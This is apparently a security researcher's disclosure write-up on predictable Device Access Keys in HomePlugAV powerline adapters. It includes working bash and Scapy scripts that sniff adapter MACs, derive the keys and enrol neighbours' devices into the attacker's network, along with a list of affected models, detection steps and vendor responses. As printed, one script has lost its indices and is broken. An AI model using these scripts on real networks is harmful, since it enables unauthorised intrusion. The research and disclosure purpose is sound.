As I posted recently, I've been playing around with some of ON Network's PL500 HomePlugAV Adapters. Given my previous experience with Powerline adapters, as part of that tinkering I thought I'd see whether they contain (or are) a security issue.
Unfortunately the news isn't great, as I can now get effective physical network access using the HomePlugAV adapters as my entry point. It does, of course require some proximity to the target network, but is otherwise pretty straight forward.
As I don't have $5,000 to spare, I did this without reading the HomePlugAV technical specification.
Responsible Disclosure: Before publishing, I contacted the HomePlug Alliance to notify them of the issues I'd identified, but have had no response
Things We Know
- The on the wire encryption used between powerline stations (STAs) is AES-128 in CBC mode. The Network Encryption Key (NEK) changes (roughly) every hour and is set by one STA which acts as the Central Co-ordinator (CCo).
- The Network Membership Key (NMK) is used to join a HomePlugAV (HPAV) network and is 16 bytes (expressed as Hex).
- The Network ID (NID) is derived from the NMK and is 54 bits, including 2 bits indicating the security level. The NID is broadcast in the clear with each beacon sent out by the CCo.
- Devices can be enrolled into an existing network by using their Device Access Key (DAK). The DAK is derived (in effect) from the appliance's MAC address.
Choosing an Attack Vector
As we are aiming to infiltrate the network, there's little to no value in attempting to crack the NEK. As it's operating in Cipher Block Chaining (CBC) mode, it is theoretically vulnerable to a plaintext attack, but even if it were to prove possible, we'd need to re-crack on an hourly basis (or whenever the key changed).
Brute forcing the NMK may well be possible, but the keyspace is quite large (16 bytes) rendering the attack inefficient.
The NID is broadcast in the clear in every beacon, and we know that it's derived from the NMK. It may be possible to reverse engineer with a hash cracking style of attack. However we would in effect be attempting to brute-force the NMK, so this again, would prove quite inefficient.
Attacking the Device Access Keys
If we can identify the MAC addresses used by the target network's STA's, the DAK's can be calculated and then used to tell the target STAs to join our HPAV network.
However, identifying the MAC's isn't necessarily as simple as checking an arp table (we're not connected to the network after all). Actually, even if we were connected to the target network, we wouldn't see the devices in an ARP table, they're pure layer 2, so there's no IP to map to.
Understanding the DAK Process
When a user wants to add a new STA, they usually have a number of options. One of these is to recruit the new device into the network.
Various utilities exist to do this (especially if you're on Windows), but the crux of it is that you'll need to enter the new device's password (usually printed on the label in the format XXXX-XXXX-XXXX-XXXX - Sometimes referred to as the Device Encryption Key, or DEK).
This is converted into the actual DAK, and then the following process is used
- A device on the existing HPAV network generates a Temporary Encryption Key (TEK), encrypts it with the DAK and then broadcasts it as a Encrypted Payload MAC Management Entry (MME)
- All devices will attempt to decrypt the MME, but only one will have the correct DAK, so all others will silently drop the message
- The new HPAV then uses the TEK to send a response consisting solely of a nonce
- The original STA responds with the same nonce and the NMK, again encrypted with the DAK
- The new HPAV device then responds one last time, this time using the NMK to encrypt it's response.
The broadcasting device in 1) might normally be the CCo, but doesn't have to be.
Note: For the curious, the password is salted with a fixed secret, and then hashed (sha256) 1000 times. The same process is used to create NMKs, although the secret differs
As penetrating the encryption used is, if possible, likely to be highly inefficient, we're instead going to take a different tact.
Using the traffic sniffer built into the AR7420 chipset, we're going to passively listen to HPAV traffic, attempt to identify MAC addresses and then use them to calculate the necessary DAKs.
The target network will then quickly be dismantled, with each member joining our new network. If we later disconnect, the appliances will continue to communicate between themselves, so aside from a very brief outage whilst the STAs switch networks, our infiltration should go largely un-noticed.
Finding the Weakness
Once I'd settled on attacking the DAK's, the main technical hurdle was finding out the MAC addresses for the target network. If all else had failed, I could, of course have written a script that generated all possible MAC addresses, but trying everything in a 48 bit address range would be somewhat inefficient.
I ran a tcpdump whilst the sniffer was running and then wrote a small script to write the packet payloads out to a text file (one per line). Checking for MAC addresses was then as simple as grepping that file for one of the MAC addresses of my target devices
grep -i "44:94:FC:9C:C7:5C" payloads.txt
I found matches, but a quick check showed that device was operating as the CCo, so was sending out beacons. Checking for another MAC yielded results, but at a different location within the payload
Not having the specification to hand, the simplest way forward was just to dump out the data at either of these locations and accept that would mean trying to co-opt some non-existent devices into our network
It's probably possible to look at another value within the payload and work out which location we expect the MAC to be in, but I haven't bothered looking for it yet
The encryption key on the target network has been changed from the default (otherwise things are much, much easier).
The quick setup guide for most of these devices advises pushing the encryption reset buttons, so it's likely most users have changed from the commonly known default (HomePlugAV).
To work, you need to effectively be connected to the same power source as the target network. If you are in an apartment complex with a shared power feed, that should be sufficient. Alternatively any houses on your street that are on the same phase as you may also work (I haven't yet checked), or in principle an outside light fitting and an adapter.
So whilst some level of proximity is required, it's not quite the same level as needing to get through a locked door.
Rather than re-invent the wheel, it's best to use some existing utilities where possible, so
grab and compile a copy of Qualcomms Open-PLC utilities from https://github.com/qca/open-plc-utils/ (see update below). You can grab an archived copy of the codebase from here.
You'll also need Python with Scapy as we'll need to craft some Layer-2 packets.
For my initial testing, I used the following setup
- 2 HPAV devices using the same NMK
- 2 Workstations pushing traffic across the HPAV network (simple pings)
- 1 HPAV device (NMK obviously differs to the one used on the target)
- 1 Workstation connected directly to the HPAV device
Essentially, the attack follows a simple process
- Put the HPAV device into sniffer mode
- Listen to the responses
- Extract potential MAC addresses from the responses
- Calculate each devices password (and by extension, the DAK)
- Enrol the remote STAs into our network
The Attack Scripts
It's simple enough to walk through the attack manually, but checking the PCAPs can be a little time consuming. It's probably more than possible to do everything within Python, but didn't seem worth the extra effort
Attack.sh is our wrapper script. It'll call the two python scripts and launch various utilities from open-plc-utils.
#!/bin/bash # Start by sniffing out HPAV clients and then co-opt them into our network INTERFACE='eth0' python triggerSniff.py tcpdump -s0 -w cap.pcap & sleep 10s && pkill tcpdump NEWKEY=$(hpavkey -M 'ImAnEvilIntruder') # Set the NMK of our local device amptool -M -K $NEWKEY -i $INTERFACE # Wait while the device resets echo "Waiting 5 seconds" sleep 5 # Cycle through the pcap python listMacs.py cap.pcap | sort | uniq | while read -r address do # We need the MAC in two formats macsolid=$(echo $address | sed 's/ //g') maccolon=$(echo $address | sed 's/ /:/g') # Generate the password and then the DAK pass=$(mac2pw -q $macsolid) dak=$( hpavkey -D $pass ) # Configure the device echo "Attempting to enrol $maccolon" amptool -D $dak -J $maccolon -i $INTERFACE -M -K $NEWKEY echo # Sleep for a second so we're sure we're not hammering our device sleep 1 done
listMacs.py is a bit of a blunt tool, but it grabs MAC addresses from the sniffer payload captures. There appear to be two locations within the payload which can contain a MAC, and so it grabs both. This means that it will grab some invalid MAC's, although they don't negatively affect the attack, they could probably be filtered out easily enough.
import sys try: # Import Scapy from scapy.all import * from scapy.utils import rdpcap except: sys.path.append( 'Scapy') # Import Scapy from scapy.all import * from scapy.utils import rdpcap # Load the pcap pkts=rdpcap('cap.pcap') # could be used like this rdpcap("filename",500) fetches first 500 pkts for pkt in pkts: if pkt.type == 35041: response=''.join(pkt.load).encode('hex') response=':'.join(a+b for a,b in zip(response[::2], response[1::2])) #print response,"\n" segments=response.split(":") try: # Rule out the obvious IANA reserved range if int(segments) > 00 and int(segments) > 00: print "2:",segments,segments,segments,segments,segments,segments if int(segments) > 00 and int(segments) > 00: print "1:",segments,segments,segments,segments,segments,segments except: continue
triggerSniff does one thing, it puts the local HPAV device into sniffer mode. The device will then sit sending Management frames back to us, containing details of any HPAV traffic it has sniffed out.
import sys import fcntl, socket, struct try: # Import Scapy from scapy.all import * from scapy.utils import rdpcap except: sys.path.append( 'Scapy') # Import Scapy from scapy.all import * from scapy.utils import rdpcap iface='eth0' # Which interface should we use # Function from http://stackoverflow.com/questions/159137/getting-mac-address def getHwAddr(ifname): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15])) return ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1] # Enable Sniffer mode on the local HPAV device # # payload='00:34:a0:00:b0:52:01:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00' data_list = payload.split(":") # Breakdown of payload above # # '00' - MAC Management header (Version: 1) - they're zero indexed # '34:a0' - Sniffer type request # 'b0:52' - OUI # Build and send the packet p = Ether() p.src=getHwAddr(iface) p.dst='00:B0:52:00:00:01'; # Only the nearest HomeplugAV device will respond p.type=0x88e1; # HomeplugAV management frame p.oui='00b052' data=''.join(data_list).decode('hex') b = p/data ans = srp(b,iface=iface)
The exact result/output will depend on how many STAs are in the target network, however the output of running attack.sh will be similar to the following
Attempting to enrol 05:02:45:03:31:f4 eth0 00:B0:52:00:00:01 Set Remote Network Membership Key eth0 44:94:FC:99:8F:CD Setting ... Attempting to enrol 44:94:fc:9c:c7:44 eth0 00:B0:52:00:00:01 Set Remote Network Membership Key eth0 44:94:FC:99:8F:CD Setting ... Attempting to enrol 44:94:fc:9c:c7:5c eth0 00:B0:52:00:00:01 Set Remote Network Membership Key eth0 44:94:FC:99:8F:CD Setting ... Attempting to enrol 91:01:02:01:06:03 eth0 00:B0:52:00:00:01 Set Remote Network Membership Key eth0 44:94:FC:99:8F:CD Setting ...
Only two of the MAC's above are valid, however, as a result both devices have joined my HomePlugAV network.
I've now achieved the same level of access to the network as I would have if I'd plugged a CAT-5 into a switch, but without requiring physical access to anything but the mains supply
Analysis of the Weakness
Why it Works
The weakness stems from the ability to enrol a device into an existing network, rather than requiring physical intervention (such as pressing the encryption button on the unit) to have it request access to a network.
The enrolment capability isn't enough, however, to cause the weakness on it's own.
Deriving the device's passwords from their MAC address makes the Device Access Keys predictable. Although these devices are transparent on the ethernet network, everything you need is transmitted, in the clear, across the powerline network.
In effect, the only secret you need to join the network is being broadcast, in the clear, between devices who's very chipset ships with a packet sniffer allowing you to capture it.
The only 100% guaranteed way to defend yourself is to stop using Powerline devices. Other than that;
There isn't an easy way to defend yourself from this issue. Maintaining a list of authorised MAC addresses and periodically changing the encryption key (i.e. effectively running part of the attack against yourself) will temporarily knock an attacker back off your network, but as we've seen it's a few seconds work for them to jump back on. It's also worth considering that as the DAK is easily calculable, the entire key exchange mechanism is flawed and so easily compromisable.
Even if you are actively running packet analysis on your network, you'll not see the packets generated in the initial compromise - they never leave the Powerline network.
It may be possible to reprogram the DAK on each STA, though I've not yet found the capability to do so.
Securing your network against unauthorised local access is perhaps the best form of defence, an attacker would then need to breach whatever security measures you'd put in place on networked systems.
Impact of an Intrusion
Aside from the obvious issues inherent in them gaining physical network access, the attacker now has an increased level of access to your powerline devices.
The ones I've been using are simple layer-2 devices, however they are flashable, so it's not inconceivable that someone more advanced than me could adjust a system image to implement an IP stack and start sending data off-network (or use UPnP to create an entry point) - removing the need for continued network proximity.
Some versions of the firmware appear to allow the erasure of NVRAM, so an attacker could, also, simply brick the target devices.
Detecting an Intrusion
How detectable an attacker would be at the network level will obviously depend on their behaviour, so, ignoring any unusual network traffic they may be generating - we can ask our Powerline devices who they're networked with. If we don't recognise a MAC address that appears, we've got an intrusion
ampstat -m -i eth0 NID 96:F8:C2:58:B5:BC:05 SNID 013 STA TEI 003 MAC 44:94:FC:99:8F:CD BDA 00:1B:A0:CF:87:18 CCO TEI 001 MAC 44:94:FC:9C:C7:44 BDA B8:27:EB:0B:EE:DB TX 089 RX 127 STA TEI 002 MAC 44:94:FC:9C:C7:5C BDA 80:1F:02:8D:5F:52 TX 374 RX 375
In this case, I launched the attack from 44:94:FC:99:8F:CD, so would consider that address to be unauthorised. The second MAC address in each row is the first bridged device (i.e. the device plugged into the powerline adaptor)
Not having the resources to go out and purchase kit from different vendors, I've been limited to kit I can lay my hands on, as well as a bit of careful searching on Ebay and Google for pictures of devices that display the MAC address and 'password'
The devices definitely affected are
- ON Networks PL-500 Range (Qualcomm AR7420 chipset)
- Solwise NET-PL-200AV-MINI-TWIN
- Unbranded Adapter Model 7HP120 (Looks like a rebranded 7inova 7HP120 though)
- Comfast CF-WP500M
- ASUS PL-X52P
- IcyBox IB-PL550
- TP-Link AV200 TL-PA2010
- TP-Link TL-PA211
- TP-Link TL-PA251
- TP-Link TL-PA411
- TP-Link TL-PA8010P
Possibly not Affected
Based on a few photos found on Google/Ebay, it looks like the following models have DAKs that aren't derived (or are derived differently) from the MAC address
- BT Broadband Extender Flex 500 (physically tested - definitely not affected)
- Devolo DLAN-200-AV
- Devolo DLAN 500 Duo+
- Solwise NET-PL-200-AV-PUSH
- Solwise PL-200AV-3PE
When planning a wired network, consideration is normally given to the location of the network outlets, both in terms of usability and security.
The number of potential 'outlets' you create when using your mains wiring as the network medium is staggering, whilst the devices are normally connected directly to a plug socket, creating an adapter so that you could connect via a light socket would be trivial (despite the justified safety concerns, they can in fact, still be bought). Anywhere that you have power, can potentially be used as a physical network infiltration point.
It's worrying, then, that the security on these devices isn't better.
Whilst Powerline devices use reasonably strong on-the-wire encryption, making the Device Access Key's easily predictable fundamentally undermines the entire security approach.
Although some of the devices I checked use less predictable DAKs, I can't say for certain that they're not still derived from the MAC address, it may simply be that an additional seed is used when calculating the DAK - if so, then identification of that seed would be sufficient to calculate DAKs for those devices as well.
Even if it wasn't possible to eavesdrop and identify MAC addresses, the system would still be vulnerable to a brute force attempt. The 48 bit keyspace of MAC addresses isn't necessarily a huge obstacle and given a bit of research it should be possible to narrow potential MAC addresses down to those within blocks issued to the OEMs of Powerline devices (or even just the more popular OEMs).
There's always a balance to be struck between security and convenience, but in this case it seems that attempting to increase convenience has completely undermined the security of these devices. Given that some DAKs appear not to be as predictable, it seems likely though that the root cause of this weakness is simply vendor laziness.
Update - Response from TP-Link
I contacted TP-Link separately as every model I'd tested seemed vulnerable (even their documentation shows an example of a predictable key). I'm not sure I agree with them, but they seem to think it's not an issue on the basis that most users will be families and family members are unlikely to attack each other;
I just confirmed this from my senior engineers and got that this is not a problem . All powerline devices work under the same circuit ,and a circuit is in one family, so families would not attack each other . Please don’t worry about it . For the security issue you are worrying about ,it is concerned about the HomePlugAV protocol ,which is a international standard and safe enough ,please don’t worry about it .
Take from that what you will.....
Update - Jan 2016
It seems that the OpenPLC toolchain has been updated, so attempts to reproduce the above with current builds will not work.
If you're interested in checking whether or not your device is affected, there's a build available here which still uses the old method.
Although the toolchain has been updated, it doesn't seem that OEMs have bothered updating their methods yet (based on a very quick check). The new method, by default, generates a random string using urandom on the host machine as input, which whilst a definite improvement is entirely moot unless manufacturers actually start using it.
Also, many thanks to those who've been in contact to discuss their adapters and/or to provide information!
Update - Dec 2016
I received an email from TP-Link saying they'd released a firmware update to fix this issue, and that new items leaving the factory would not be affected. Users with affected devices can download the firmware update from http://www.tp-link.com/en/. I've not had time to verify that the update does fix the issue yet.
There will, of course, be a lot of stock sat on shelves that is still affected, so if ordering new equipment it'll probably be worth taking the time to run a firmware update